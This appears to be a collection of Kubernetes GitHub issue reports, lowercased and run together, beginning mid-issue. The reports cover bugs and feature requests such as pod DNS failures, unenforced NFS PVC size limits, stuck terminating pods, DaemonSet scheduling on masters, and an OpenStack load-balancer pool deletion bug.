172.16.184.167   kubelarge07\r kafka-2   1/1       running       0          2h        172.16.77.117    kubelarge08\r kafka-0   0/1       terminating   0         1m        <none>    kubelarge06\r kafka-0   0/1       terminating   0         1m        <none>    kubelarge06\r kafka-0   0/1       terminating   0         1m        <none>    kubelarge06\r kafka-0   0/1       pending   0         36s       <none>    <none>\r kafka-0   0/1       pending   0         36s       <none>    kubelarge06\r kafka-0   0/1       init:0/1   0         36s       <none>    kubelarge06\r kafka-0   0/1       init:0/1   0         39s       172.16.234.250   kubelarge06\r kafka-0   0/1       init:0/1   0         40s       172.16.234.250   kubelarge06\r kafka-0   0/1       podinitializing   0         40s       172.16.234.250   kubelarge06\r kafka-0   1/1       running   0         41s       172.16.234.250   kubelarge06\r $ kubectl -nkafka exec -it kafka-0 bash\r   telnet zookeeper-service.zookeeper.svc.cluster.local 2181\r telnet: could not resolve zookeeper-service.zookeeper.svc.cluster.local/2181: temporary failure in name resolution\r    \r lets cordon  kubelarge06 :\r    \r $ kubectl cordon kubelarge06\r node \ kubelarge06\  cordoned\r $ kubectl -nkafka delete po kafka-0\r pod \ kafka-0\  deleted\r $ kubectl -nkafka get po -o wide -w\r name      ready     status        restarts   age       ip               node\r kafka-0   0/1       terminating   4          6m        <none>           kubelarge06\r kafka-1   1/1       running       0          3h        172.16.184.167   kubelarge07\r kafka-2   1/1       running       0          3h        172.16.77.117    kubelarge08\r kafka-0   0/1       terminating   4         6m        <none>    kubelarge06\r kafka-0   0/1       terminating   4         6m        <none>    kubelarge06\r kafka-0   0/1       pending   0         37s       <none>    <none>\r kafka-0   0/1       pending   0         37s       <none>    kubemedium09\r kafka-0   0/1       init:0/1   0         37s       <none>    kubemedium09\r kafka-0   0/1       init:0/1   0         40s       172.16.6.90   kubemedium09\r kafka-0   0/1       init:0/1   0         40s       172.16.6.90   kubemedium09\r kafka-0   0/1       podinitializing   0         41s       172.16.6.90   kubemedium09\r kafka-0   1/1       running   0         42s       172.16.6.90   kubemedium09\r \r $ kubectl -nkafka exec -it kafka-0 bash\r root@kafka-0:/usr/java  telnet zookeeper-service.zookeeper.svc.cluster.local 2181\r trying 172.20.224.45...\r connected to zookeeper-service.zookeeper.svc.cluster.local.\r escape character is '^ '.\r ^ \r telnet>\r    \r \r   anything else we need to know?  : it works fine when scheduled again on another node than the one previously running.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: onpremise vms\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  : linux bla 3.10.0-693.11.6.el7.x86_64  1 smp thu jan 4 01:06:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kismatic\r - others:\r   cni: calico\r \r   dns configuration:  \r    \r $ kubectl -nkafka exec -it kafka-0 bash\r root@kafka-0:/usr/java  cat /etc/resolv.conf\r nameserver 172.20.0.2\r search kafka.svc.cluster.local svc.cluster.local cluster.local\r options ndots:5\r \r $ kubectl -nkube-system get svc\r name                   cluster-ip       external-ip   port s          age\r heapster               172.20.63.41     <none>        80/tcp          154d\r heapster-influxdb      172.20.167.202   <none>        8086/tcp        154d\r kube-dns               172.20.0.2       <none>        53/udp,53/tcp   154d\r kubernetes-dashboard   172.20.113.235   <none>        80/tcp          154d\r tiller-deploy          172.20.80.89     <none>        44134/tcp       154d\r

according to initial nfs share storage map with persistence volume  pv  and persistence volume claim  pvc . we found that we can override storage limit that specific on pvc to use entire space on nfs\r \r   is this a bug report or feature request?  :\r bug report\r  \r   environment information   \r name           zone          machine_type   preemptible  internal_ip       status\r kubernetes-1   asia-east1-a  n1-standard-1                          192.168.99.201    running\r kubernetes-2   asia-east1-a  n1-standard-1                         192.168.99.202   running\r kubernetes-ms  asia-east1-a  n1-standard-1                        192.168.99.200  running\r \r kubectl get nodes:\r name            status    roles     age       version\r kubernetes-1    ready     <none>    57m       v1.9.2\r kubernetes-2    ready     <none>    57m       v1.9.2\r kubernetes-ms   ready     master    1h        v1.9.2\r \r nfs information:\r praparn@kubernetes-ms:~$ more /etc/exports \r /var/nfsshare    192.168.99.0/24 rw,sync,no_subtree_check,no_root_squash \r \r praparn@kubernetes-ms:~$ df -kh\r filesystem                    size  used avail use% mounted on\r udev                          1.8g     0  1.8g   0% /dev\r tmpfs                         370m  5.9m  365m   2% /run\r /dev/sda1                     9.7g  3.1g  6.6g  32% /\r tmpfs                         1.9g     0  1.9g   0% /dev/shm\r tmpfs                         5.0m     0  5.0m   0% /run/lock\r tmpfs                         1.9g     0  1.9g   0% /sys/fs/cgroup\r 192.168.99.200:/var/nfsshare  9.7g  3.1g  6.6g  32% /mnt/nfs_share\r tmpfs                         370m     0  370m   0% /run/user/1003\r \r \r   what happened  :\r \r 1. reference to nfs file share we create pv and pvc as below:\r   pv:  \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: nfs-share-pv\r   labels:\r     name: nfs-share-pv\r     owner: praparn_l\r     version: \ 1.0\ \r     module: pv\r     environment: development\r spec:\r   capacity:\r     storage: 1gi\r   storageclassname: \ \ \r   accessmodes:\r     - readwritemany\r   nfs:\r     server: 192.168.99.200\r     path: \ /var/nfsshare\ \r \r   pvc:  \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: nfs-share-pvc\r   labels:\r     name: nfs-share-pvc\r     owner: praparn_l\r     version: \ 1.0\ \r     module: pvc\r     environment: development\r spec:\r   accessmodes:\r     - readwritemany\r   storageclassname: \ \ \r     resources:\r     requests:\r       storage: 500mi\r     limits:\r       storage: 1gi  \r   selector:\r     matchlabels:\r       name: nfs-share-pv\r       owner: praparn_l\r       version: \ 1.0\ \r       module: pv\r       environment: development\r \r 2. we create deployment by claim storage from pvc as below:\r   deployment  \r \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: webtest\r   labels:\r     name: web\r     owner: praparn_l\r     version: \ 1.0\ \r     module: webserver\r     environment: development\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       name: web\r       owner: \ praparn_l\ \r       version: \ 1.0\ \r       module: webserver\r       environment: development\r   template:\r     metadata:\r       labels:\r         name: web\r         owner: praparn_l\r         version: \ 1.0\ \r         module: webserver\r         environment: development\r     spec:\r       containers:\r         - name: webtest\r           image: labdocker/cluster:webservicelite_v1\r           ports:\r           - containerport: 5000\r             protocol: tcp\r           volumemounts:\r             - name: nfs-share-pvc\r                  mountpath: \ /usr/src/app\    \r       volumes:\r       - name: nfs-share-pvc\r         persistentvolumeclaim:\r           claimname: nfs-share-pvc\r \r 3. after all deployment alive. we try to access some pods and check disk get from pvc with result below:\r \r praparn@kubernetes-ms:~$ kubectl get pods\r name                      ready     status    restarts   age\r webtest-ccf88d74b-5dw5k   1/1       running   0          16m\r webtest-ccf88d74b-fbwt2   1/1       running   0          16m\r webtest-ccf88d74b-r6dgt   1/1       running   0          16m\r \r praparn@kubernetes-ms:~$ kubectl exec -it webtest-ccf88d74b-5dw5k sh\r /usr/src/app   df -kh\r filesystem                size      used available use% mounted on\r overlay                   9.6g      2.1g      7.5g  22% /\r tmpfs                    64.0m         0     64.0m   0% /dev\r tmpfs                     1.8g         0      1.8g   0% /sys/fs/cgroup\r /dev/sda1                 9.6g      2.1g      7.5g  22% /dev/termination-log\r /dev/sda1                 9.6g      2.1g      7.5g  22% /etc/resolv.conf\r /dev/sda1                 9.6g      2.1g      7.5g  22% /etc/hostname\r /dev/sda1                 9.6g      2.1g      7.5g  22% /etc/hosts\r shm                      64.0m         0     64.0m   0% /dev/shm\r 192.168.99.200:/var/nfsshare                          9.6g      3.0g      6.6g  32% /usr/src/app\r tmpfs                     1.8g     12.0k      1.8g   0% /var/run/secrets/kubernetes.io/serviceaccount\r tmpfs                    64.0m         0     64.0m   0% /proc/kcore\r tmpfs                    64.0m         0     64.0m   0% /proc/keys\r tmpfs                    64.0m         0     64.0m   0% /proc/timer_list\r tmpfs                    64.0m         0     64.0m   0% /proc/timer_stats\r tmpfs                    64.0m         0     64.0m   0% /proc/sched_debug\r tmpfs                     1.8g         0      1.8g   0% /proc/scsi\r tmpfs                     1.8g         0      1.8g   0% /sys/firmware\r \r 4. we are test to download some huge iso  1.5 gb  that over limit of pvc define limit 1gi and got that it can download and storage file over limit request of pvc\r \r /usr/src/app   wget http://releases.ubuntu.com/16.04/ubuntu-16.04.4-desktop-amd64.iso\r connecting to releases.ubuntu.com  91.189.88.166:80 \r ubuntu-16.04.4-deskt 100% |                               |  1548m  0:00:00 eta\r \r /usr/src/app   df . -kh\r filesystem                size      used available use% mounted on\r 192.168.99.200:/var/nfsshare                          9.6g      4.5g      5.1g  47% /usr/src/app\r \r /usr/src/app   \r \r   what you expected to happen  :\r storage limit on pvc should be protect pods's consume space over limit of pvc\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. initial nfs share  ex: 10 gb \r 2. create pv for mount with nfs share  ex: capacity 1 gb \r 3. create pvc to reference pv with limit storage  ex: limit 1 gb \r 4. access to inside pods and try to download file bigger than pvc  on specific path \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes 1.9.2\r - cloud provider or hardware configuration: google cloud  iaas \r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux kubernetes-ms 4.8.0-56-generic  61~16.04.1-ubuntu smp wed jun 14 11:58:22 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r created a pod based on the pod definition shown in the  expose pod information to containers through environment variables  https://kubernetes.io/docs/tasks/inject-data-application/environment-variable-expose-pod-information/ use-pod-fields-as-values-for-environment-variables . \r \r   what you expected to happen  :\r \r expected there to be an environment variable called \ my_pod_ip\  in the container\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r save pod definition to a file:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: dapi-envars-fieldref\r spec:\r   nodeselector:\r     beta.kubernetes.io/os: windows\r   containers:\r     - name: test-container\r       image: microsoft/windowsservercore:ltsc2016\r       command:   \ powershell.exe\ , \ -c\  \r       args:  \ while  $true  { write-output \\\ node name: $ $env:my_node_name \\\ ; write-output \\\ pod name: $ $env:my_pod_name \\\ ; write-output \\\ pod ip: $ $env:my_pod_ip \\\ ; start-sleep -seconds 10; }\  \r       env:\r         - name: my_node_name\r           valuefrom:\r             fieldref:\r               fieldpath: spec.nodename\r         - name: my_pod_name\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.name\r         - name: my_pod_ip\r           valuefrom:\r             fieldref:\r               fieldpath: status.podip\r   restartpolicy: never\r    \r \r    kubectl create -f saved_pod_def.yaml   \r \r    kubectl logs dapi-envars-fieldref   \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.7\r - cloud provider or hardware configuration: azure  virtual machines \r - os  e.g. from /etc/os-release : windows server 2016\r - kernel  e.g.  uname -a  : n/a\r - install tools: acs-engine\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  : i have multi container pods, 1 main container and 4 alpine container to tail log files. when i delete deployment it stays \ terminating\  state always\r \r   what you expected to happen  : pods should be terminated and removed from the list\r \r   how to reproduce it  as minimally and precisely as possible   : use k8s 1.8.13, create multicontainer pod, 1 tomcat container + 4 alpine container for the tailing logs. and deploy --> delete it\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.13\r - cloud provider or hardware configuration: kops - aws\r - os  e.g. from /etc/os-release : default kops settings\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r i also see following logs:\r    \r rpc error: code = unknown desc = error: no such container: xxxxxxxxxxxxxxxx%\r    \r // @kubernetes/sig-node-bugs

 \r   what happened  :\r \r to enforce daemonset pods scheduling is handled by default scheduler, instead of ds controller, i enabled  scheduledaemonsetpods  feature, and it looks almost fine except for a flaw: for a cluster spawned by kubeadm, the daemonset pod is still scheduled to master node with \ pending\  state.\r \r    \r $ k get node\r name                           status    roles     age       version\r wei-k8s-master.fyre.ibm.com    ready     master    8d        v1.11.0\r wei-k8s-worker1.fyre.ibm.com   ready     <none>    8d        v1.11.0\r wei-k8s-worker2.fyre.ibm.com   ready     <none>    8d        v1.11.0\r $ k get ds\r name      desired   current   ready     up-to-date   available   node selector   age\r busybox   3         3         2         3            2           <none>          16m\r $ k get pod -o wide\r name            ready     status    restarts   age       ip             node\r busybox-f8m45   1/1       running   0          16m       192.168.2.20   wei-k8s-worker2.fyre.ibm.com\r busybox-fkzq5   1/1       running   0          16m       192.168.1.24   wei-k8s-worker1.fyre.ibm.com\r busybox-zb8g9   0/1       pending   0          16m       <none>         <none>\r    \r \r   what you expected to happen  :\r \r the behavior should be consistent as before  ds handled by ds controller . that's to say, on a kubeadm cluster, there shouldn't be a \ pending\  pod scheduled onto master node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r spin up a kubeadm cluster, and deploy a sample daemonset yaml like this:\r \r    yaml\r apiversion: apps/v1\r kind: daemonset\r metadata:\r   name: busybox\r spec:\r   selector:\r     matchlabels:\r       app: busybox\r   template:\r     metadata:\r       labels:\r         app: busybox\r     spec:\r       containers:\r       - name: busybox\r         image: busybox\r         command:\r         - sleep\r         - \ 3600\ \r    \r \r   anything else we need to know?  :\r \r in a kubeadm cluster, master node has following spec:\r \r    yaml\r apiversion: v1\r kind: node\r metadata:\r ......\r   labels:\r     beta.kubernetes.io/arch: amd64\r     beta.kubernetes.io/os: linux\r     kubernetes.io/hostname: wei-k8s-master.fyre.ibm.com\r     node-role.kubernetes.io/master: \ \ \r     opt: in\r   name: wei-k8s-master.fyre.ibm.com\r spec:\r   podcidr: 192.168.0.0/24\r   taints:\r   - effect: noschedule\r     key: node-role.kubernetes.io/master\r ......\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: vm\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r    \r linux wei-k8s-master.fyre.ibm.com 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubeadm\r - others: none\r

description  flag: --output-version=\  \  of \ kubectl create secret\  doesn't validate the input parameter.     version   root@ip-172-18-1-5 amd64   ./kubectl version client version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.5.485+500493a3acf960\ , gitcommit:\ 500493a3acf9607f67b74cefe541a324a71108cf\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.5.485+500493a3acf960\ , gitcommit:\ 500493a3acf9607f67b74cefe541a324a71108cf\ , gittreestate:\ clean\ }     step       root@ip-172-18-1-5 amd64   ./kubectl create secret generic secret800 --from-literal=key1=b --output-version= secret \ secret800\  created   root@ip-172-18-1-5 amd64   ./kubectl create secret generic secret801 --from-literal=key1=b --output-version=v1 secret \ secret801\  created   root@ip-172-18-1-5 amd64   ./kubectl create secret generic secret802 --from-literal=key1=b --output-version=v2 secret \ secret802\  created   root@ip-172-18-1-5 amd64   ./kubectl create secret docker-registry secret803 --docker-server=https://hub.docker.com  --docker-username=xxx --docker-password=xxx --docker-email=xxx@xxx.com --output-version=@ secret \ secret803\  created   root@ip-172-18-1-5 amd64   ./kubectl get secret name                  type                                  data      age default-token-khzu2   kubernetes.io/service-account-token   2         1h secret800             opaque                                1         5m secret801             opaque                                1         5m secret802             opaque                                1         5m secret803             kubernetes.io/dockercfg               1         10s

currently all flags are defined in the binary which makes a big mess. we need some way to deal with duplicate names.  cc @kubernetes/goog-control-plane

tracks the implementation of the templating proposal: https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/templates.md.   this wip is essentially a quick merge of os templates with head + some modifications to get the core substitution logic and resource to work with apiserver: https://github.com/kubernetes/kubernetes/pull/23895  see proposal for details on what remains, from memory:     -            syntax -      /processedtemplates  and  /templates  api endpoints -     pkg/client -     kubectl integration -     validation -     unittests for templates, etcd etc -     e2es -     docs  other items to track -     template processing -     template create validation + etcd_test.go tests -     template update validation + etcd_test.go tests -     processing templates without saving them  @bgrant0607 mentioned someone from @kubernetes/kubectl might be interested. @bparees since you had the original proposal.

hi,  we are using the kubernetes openstack cloud provider to get dynamic provisioning of cinder volumes. while it is working, the number of requests to the openstack nova api per minute is pretty high.   around   10   number of masters and nodes  / minute  . from what we could see, masters and nodes both make the same number of requests.  these calls seem to be part of the normal sync loop of kubernetes, although they are a bit redundant  not much will change in a few seconds wrt to dynamic provisioning   is there a way to change the frequency of the openstack api requests? what would you recommend?  as we understand, it is possible to change the frequency of the kubernetes sync loop   node-status-update-frequency   https://github.com/kubernetes/kubernetes/blob/9a20ca2899b52cdf6eec53d8137f55cc3446c748/cmd/kubelet/app/options/options.go l198  but this will eventually hamper the kubernetes sync loop.  there is also the   node-sync-period   https://github.com/kubernetes/kubernetes/blob/ee2a0694b649941fc0c3be606746db041b75b91d/cmd/kube-controller-manager/app/options/options.go l109  variable, which seems to be exactly what we need. however it's only a master's setting, so it won't really help us.

seen on k8s 1.2.4. not sure if the issue still persist on k8s 1.3/1.4  1  pod initially failed to start due to \ failed to find ip\  // error on the cloud provider side 2  when remove command was executed for the pod, it got stuck in terminating state forever:      kubectl get pod environment-slave-3377531c7fb89 name                              ready     status        restarts   age environment-slave-3377531c7fb89   0/1       terminating   0          5d      pod details:      name:                  environment-slave-3377531c7fb89 namespace:                 default node:                  ip-10-20-145-110.eu-west-1.compute.internal/10.20.145.110 start time:                fri, 09 sep 2016 00:31:22 +0100 labels:                jenkins=slave,name=jenkins-environment_slave status:                terminating  expires fri, 09 sep 2016 00:34:02 +0100  termination grace period:          30s ip: controllers:               <none> containers:  slave:    container id:    image:            imagename    image id:    port:    args:  ....    qos tier:      cpu:             besteffort      memory:          besteffort    state:             waiting      reason:          containercreating    ready:             false    restart count:         0    environment variables: ......      home:                /var/jenkins_home conditions:  type         status  ready            false volumes:  default-token-5ukck:    type:          secret  a volume populated by a secret     secretname:    default-token-5ukck events:  firstseen        lastseen           count      from                               subobjectpath      type           reason         message  ---------        --------           -----      ----                               -------------      --------           ------         -------  5d           7s             37977      {kubelet ip-10-20-145-110.eu-west-1.compute.internal}              warning        failedsync         error syncing pod, skipping: failed to find ip for 8eb613f20433023994d706762c6cc63bc1c3b8287679887045a0b4d1cafb4930

kubernetes version  :  $ kubectl version client version: version.info{major:\ 1\ , minor:\ 3+\ , gitversion:\ v1.3.8-hpe.1\ , gitcommit:\ 2b6b6624aaad1c72670ca9082927c21a79e6e3d6\ , gittreestate:\ clean\ , builddate:\ 2016-09-22t23:27:29z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3+\ , gitversion:\ v1.3.8-hpe.1.3+61e22370dca123-dirty\ , gitcommit:\ 61e22370dca123a1a557e8a24710d3bf71f83262\ , gittreestate:\ dirty\ , builddate:\ 2016-09-29t14:43:35z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }    environment  : -   cloud provider or hardware configuration  :  openstack liberty, neutron lbaas v2 using octavia -   os    e.g. from /etc/os-release :  n/a -   kernel    e.g.  uname -a  :  n/a -   install tools  :  n/a -   others  :  n/a    what happened  :  deleting a loadbalancer service results in the deletion of all loadbalancer service's lbaas pools and monitors.    what you expected to happen  :  the pools and monitors for unrelated services should not be deleted    how to reproduce it    as minimally and precisely as possible : 1. create 2 services with type=loadbalancer 2. wait for lbaas resources to be created 3. delete 1 of the 2 services created earlier 4. inspect  neutron lbaas-pool-list  output, all pools will have been deleted.    anything else do we need to know  :  neutron's api ignores unknown paramaters. when listing pools etc, k8 attempts to filter on \ loadbalancerid\ , which is not a valid filter. as such, it is ignored by neutron, and a list of all pools is returned. k8 then proceeds to delete each of the pools.

this is a feature request. currently, it is not possible to set a secretkeyref/configmapkeyref as optional in a pod's definition. it's also not possible to specify a default. this means that even if the program running inside the containers in the pod has sensible defaults which need only be overwritten in some environments, all secret k/v pairs must be updated in all environments before pods with new secretkeyrefs can be started.  the use case here might be a dev environment maintained by a less sophisticated user, where the overhead of managing secrets can be additional work that wastes time and resources. in the production case, a more sophisticated user has no trouble adding the secrets before editing the pod definitions. in many cases the default secret values can be left in the program itself and thus the secret is an un-necessary second layer of admin work that is needed.  i've looked around for other tickets/threads talking about this issue, haven't found any. open to why this would be a bad idea or too complex to implement, but in practice there are setups where i think it adds value.

currently we truncate them and store them with second granularity which is not enough - it causes problems in debugging  events from the same second are in pretty much random order , and it's not precise enough for performance benchmarking.\r \r cc @dchen1107 @erictune @smarterclayton @timothysc @fgrzadkowski @wojtek-t and i guess @kubernetes/sig-instrumentation

trying to start kubernetes 1.5.1 on aws as:\r \r    \r num_nodes=2 node_size=m3.medium kubernetes_provider=aws ./cluster/kube-up.sh\r    \r kubernetes cluster just keeps waiting:\r \r    \r ... starting cluster in us-west-2a using provider aws\r ... calling verify-prereqs\r ... calling kube-up\r starting cluster using os distro: jessie\r uploading to amazon s3\r +++ staging server tars to s3 storage: kubernetes-staging-755bc8de1506d202e17ea5e8f90ab8e2/devel\r upload: ../../../../../../var/folders/81/ttv4n16x7p390cttrm_675y00000gn/t/kubernetes.xxxxxx.m3se9klu/s3/kubernetes-salt.tar.gz to s3://kubernetes-staging-755bc8de1506d202e17ea5e8f90ab8e2/devel/kubernetes-salt.tar.gz\r upload: ../../../../../../var/folders/81/ttv4n16x7p390cttrm_675y00000gn/t/kubernetes.xxxxxx.m3se9klu/s3/bootstrap-script to s3://kubernetes-staging-755bc8de1506d202e17ea5e8f90ab8e2/devel/bootstrap-script\r upload: ../../../../../../var/folders/81/ttv4n16x7p390cttrm_675y00000gn/t/kubernetes.xxxxxx.m3se9klu/s3/kubernetes-server-linux-amd64.tar.gz to s3://kubernetes-staging-755bc8de1506d202e17ea5e8f90ab8e2/devel/kubernetes-server-linux-amd64.tar.gz\r uploaded server tars:\r   server_binary_tar_url: https://s3.amazonaws.com/kubernetes-staging-755bc8de1506d202e17ea5e8f90ab8e2/devel/kubernetes-server-linux-amd64.tar.gz\r   salt_tar_url: https://s3.amazonaws.com/kubernetes-staging-755bc8de1506d202e17ea5e8f90ab8e2/devel/kubernetes-salt.tar.gz\r   bootstrap_script_url: https://s3.amazonaws.com/kubernetes-staging-755bc8de1506d202e17ea5e8f90ab8e2/devel/bootstrap-script\r creating master iam profile: kubernetes-master-kubernetes-kubernetes-vpc\r creating iam role: kubernetes-master-kubernetes-kubernetes-vpc\r creating iam role-policy: kubernetes-master-kubernetes-kubernetes-vpc\r creating iam instance-policy: kubernetes-master-kubernetes-kubernetes-vpc\r adding iam role to instance-policy: kubernetes-master-kubernetes-kubernetes-vpc\r creating minion iam profile: kubernetes-minion-kubernetes-kubernetes-vpc\r creating iam role: kubernetes-minion-kubernetes-kubernetes-vpc\r creating iam role-policy: kubernetes-minion-kubernetes-kubernetes-vpc\r creating iam instance-policy: kubernetes-minion-kubernetes-kubernetes-vpc\r adding iam role to instance-policy: kubernetes-minion-kubernetes-kubernetes-vpc\r using ssh key with  aws  fingerprint: sha256:dx/5wpwuuxyar2nfugwizuriydizcyx4dgoz5/jl/j8\r creating vpc.\r adding tag to vpc-c43a88a3: name=kubernetes-vpc\r adding tag to vpc-c43a88a3: kubernetescluster=kubernetes\r using vpc vpc-c43a88a3\r adding tag to dopt-6d696b09: name=kubernetes-dhcp-option-set\r adding tag to dopt-6d696b09: kubernetescluster=kubernetes\r using dhcp option set dopt-6d696b09\r creating subnet.\r adding tag to subnet-853bebe2: kubernetescluster=kubernetes\r using subnet subnet-853bebe2\r creating internet gateway.\r using internet gateway igw-c73b78a3\r associating route table.\r creating route table\r adding tag to rtb-aceaa3cb: kubernetescluster=kubernetes\r associating route table rtb-aceaa3cb to subnet subnet-853bebe2\r adding route to route table rtb-aceaa3cb\r using route table rtb-aceaa3cb\r creating master security group.\r creating security group kubernetes-master-kubernetes.\r adding tag to sg-6b568913: kubernetescluster=kubernetes\r creating minion security group.\r creating security group kubernetes-minion-kubernetes.\r adding tag to sg-59568921: kubernetescluster=kubernetes\r using master security group: kubernetes-master-kubernetes sg-6b568913\r using minion security group: kubernetes-minion-kubernetes sg-59568921\r creating master disk: size 20gb, type gp2\r adding tag to vol-01208426aa5552fb3: name=kubernetes-master-pd\r adding tag to vol-01208426aa5552fb3: kubernetescluster=kubernetes\r allocated elastic ip for master: 35.167.202.88\r adding tag to vol-01208426aa5552fb3: kubernetes.io/master-ip=35.167.202.88\r generating certs for alternate-names: ip:35.167.202.88,ip:172.20.0.9,ip:10.0.0.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local,dns:kubernetes-master\r starting master\r adding tag to i-0d9196beec75a079d: name=kubernetes-master\r adding tag to i-0d9196beec75a079d: role=kubernetes-master\r adding tag to i-0d9196beec75a079d: kubernetescluster=kubernetes\r waiting for master to be ready\r attempt 1 to check for master nodewaiting for instance i-0d9196beec75a079d to be running  currently pending \r sleeping for 3 seconds...\r waiting for instance i-0d9196beec75a079d to be running  currently pending \r sleeping for 3 seconds...\r waiting for instance i-0d9196beec75a079d to be running  currently pending \r sleeping for 3 seconds...\r   master running \r attaching ip 35.167.202.88 to instance i-0d9196beec75a079d\r attaching persistent data volume  vol-01208426aa5552fb3  to master\r 2017-01-11t20:42:16.717z\t/dev/sdb\ti-0d9196beec75a079d\tattaching\tvol-01208426aa5552fb3\r cluster \ aws_kubernetes\  set.\r user \ aws_kubernetes\  set.\r context \ aws_kubernetes\  set.\r switched to context \ aws_kubernetes\ .\r user \ aws_kubernetes-basic-auth\  set.\r wrote config for aws_kubernetes to /users/arungupta/.kube/config\r creating minion configuration\r creating autoscaling group\r  0 minions started; waiting\r  0 minions started; waiting\r  0 minions started; waiting\r  2 minions started; ready\r waiting for cluster initialization.\r \r   this will continually check to see if the api for kubernetes is reachable.\r   this might loop forever if there was some uncaught error during start\r   up.\r \r ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\r    \r \r deleted the cluster and tried to create/start the cluster again, and same issue.\r \r is this expected to work?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/6875/ failed: diffresources {e2e.go}      error: 2 leaked resources   instance-templates   +name                           machine_type   preemptible  creation_timestamp +bootstrap-e2e-minion-template  n1-standard-2               2017-03-15t11:00:08.157-07:00       previous issues for this test:  33373  33416  34060  40437  40454  42510

